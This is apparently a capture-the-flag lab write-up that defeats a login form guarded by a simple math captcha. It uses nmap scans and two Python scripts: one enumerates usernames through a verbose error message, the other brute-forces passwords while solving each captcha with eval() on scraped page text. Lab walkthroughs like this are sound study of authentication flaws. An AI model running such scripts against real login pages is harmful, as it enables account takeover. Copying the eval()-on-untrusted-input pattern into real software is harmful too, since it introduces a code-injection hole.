Capture!

Can you bypass the login form?

Recon

Let's start with a nmap scan.

┌──(kali㉿kali)-[~]
└─$ nmap -p- capture.thm -T4              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-25 10:52 IST
Nmap scan report for capture.thm (10.10.61.60)
Host is up (0.15s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
80/tcp    open     http

Nmap done: 1 IP address (1 host up) scanned in 116.29 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 80 capture.thm -T4 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-25 11:16 IST                                                                                                                                                                                                   
Nmap scan report for capture.thm (10.10.61.60)                                                                                                                                                                                              
Host is up (0.15s latency).                                                                                                                                                                                                                 
                                                                                                                                                                                                                                            
PORT   STATE SERVICE VERSION                                                                                                                                                                                                                
80/tcp open  http    Werkzeug/2.2.2 Python/3.8.10                                                                                                                                                                                           
| http-title: Site doesn't have a title (text/html; charset=utf-8).                                                                                                                                                                         
|_Requested resource was /login                                                                                                                                                                                                             
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10                                                                                                                                                                                          
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.8.10
|     Date: Tue, 25 Jun 2024 05:46:47 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.8.10
|     Date: Tue, 25 Jun 2024 05:46:40 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 199
|     Location: /login
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.8.10
|     Date: Tue, 25 Jun 2024 05:46:41 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=6/25%Time=667A59C2%P=x86_64-pc-linux-gnu%r(G
....
SF:x20spelling\x20and\x20try\x20again\.</p>\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.71 seconds

It reveals just the port 80 running a http server.

Upon visiting the site we are greeted with a login page.

The error message "Error: The user ‘rachel’ does not exist" allows us to enumerate valid usernames within the application, which violates the OWASP Authentication Guidelines.

The first step is to enumerate the usernames. Once we identify a valid username, we can proceed to brute force the corresponding password.

Capturing Existing Users

Currently, we have identified two error messages to handle: If we receive a captcha but fail to solve it, we encounter the error "Error: Invalid captcha". Alternatively, entering an incorrect username with the correct captcha results in the error message "Error: The user ‘USERNAME’ does not exist."

We need to include the variables username, password, and captcha in an HTTP POST request.

To extract the error messages and captcha, regex can be used. Crafting regex patterns can be challenging, but tools like regex101 make it easier:

Regex for retrieving captchas: [0-9]{1,3}\s[+-*:/]\s[0-9]{1,3}

Regex for retrieving error messages non existing user: The user '.*' does not exist.

But we need to URL encode it.

The user &#39;.*&#39; does not exist"
Username_Check.py
import requests
import re

_url = 'http://capture.thm/login'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_user_regex = r"The user &#39;.*&#39; does not exist"

# Load usernames from file
with open('usernames.txt') as f:
    users = [line.strip() for line in f]

valid_users = []

for username in users:
    # Start with an invalid request to retrieve the captcha
    initial_response = requests.get(_url)
    captcha = re.findall(_captcha_regex, initial_response.text)
    if captcha:
        captcha_result = eval(captcha[0])
    else:
        print(f"Could not find captcha for user {username}")
        continue
    
    # Craft data for login attempt
    data = {
        'username': username,
        'password': 'static_password',  # Replace with actual password if known
        'captcha': captcha_result
    }

    # Send the login POST request
    response = requests.post(_url, data=data)
    text = response.text

    # Check if the user exists based on the error message
    if not re.findall(_error_user_regex, text):
        valid_users.append(username)

print("Valid users:", valid_users)

Running our script takes a second and we get the user natalie.

Capturing the Right Password

Let's begin by submitting the username "natalie" with a valid captcha to observe and capture the error message related to an invalid password. This will help us craft a suitable regex pattern to detect this specific error.

For finding the correct password, we can reuse our previous loop with slight modifications.

final.py
import requests
import re

# URL and file paths
_url = 'http://capture/login'
_path_users_file = 'usernames.txt'
_path_passwords_file = 'passwords.txt'

# Regex patterns for error messages
_error_user_regex = r"The user &#39;.*&#39; does not exist"
_error_password_regex = r"Invalid password for user &#39;.*&#39;"
_error_captcha_regex = r"Invalid captcha"
_captcha_regex = r"[0-9]{1,3}\s[+\-*:/]\s[0-9]{1,3}"

# Initial data for login attempt
_initial_data = {'username': 'football', 'password': 'rachel', 'captcha': 0}

def retrieve_captcha(session):
    """Function to retrieve and evaluate captcha."""
    response = session.post(_url, _initial_data)
    text = response.text
    captchas = re.findall(_captcha_regex, text)
    return eval(captchas[0])

def find_valid_users():
    """Function to find valid usernames."""
    valid_users = []
    with open(_path_users_file) as f:
        users = [line.rstrip() for line in f]
    
    session = requests.Session()
    for username in users:
        captcha_result = retrieve_captcha(session)
        data = {'username': username, 'password': 'rachel', 'captcha': captcha_result}
        response = session.post(_url, data=data)
        text = response.text
        if not re.findall(_error_user_regex, text) and not re.findall(_error_captcha_regex, text):
            valid_users.append(username)
    return valid_users

def brute_force_passwords(valid_users):
    """Function to brute-force passwords for valid users."""
    with open(_path_passwords_file) as f:
        passwords = [line.rstrip() for line in f]
    
    session = requests.Session()
    for valid_user in valid_users:
        for password in passwords:
            captcha_result = retrieve_captcha(session)
            data = {'username': valid_user, 'password': password, 'captcha': captcha_result}
            response = session.post(_url, data=data)
            text = response.text
            if not re.findall(_error_password_regex, text) and not re.findall(_error_captcha_regex, text):
                print(f"Valid credentials found: {valid_user}:{password}")
                print(text)
                return

# Main execution
if __name__ == "__main__":
    valid_users = find_valid_users()
    print(f"Valid usernames found: {valid_users}")
    brute_force_passwords(valid_users)

We can login with the credentials and check the flag.

Last updated

Was this helpful?